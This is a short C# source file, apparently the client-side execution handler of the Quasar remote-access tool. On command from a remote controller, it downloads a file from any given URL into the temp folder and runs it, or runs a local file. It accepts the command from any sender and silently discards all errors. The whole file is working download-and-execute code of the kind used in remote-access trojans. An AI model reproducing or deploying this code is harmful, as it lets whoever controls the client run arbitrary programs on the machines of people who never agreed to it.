using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;

namespace Quasar.Client.Messages
{
    public class ExecutionHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoExecute;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            var msg = (DoExecute)message;
            try
            {
                if (msg.IsUrl)
                {
                    string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath);
                    if (string.IsNullOrEmpty(ext)) ext = ".exe";
                    string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext);
                    using (var wc = new WebClient())
                        wc.DownloadFile(msg.FilePath, tmp);
                    Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true });
                }
                else
                {
                    Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true });
                }
            }
            catch { }
        }
    }
}
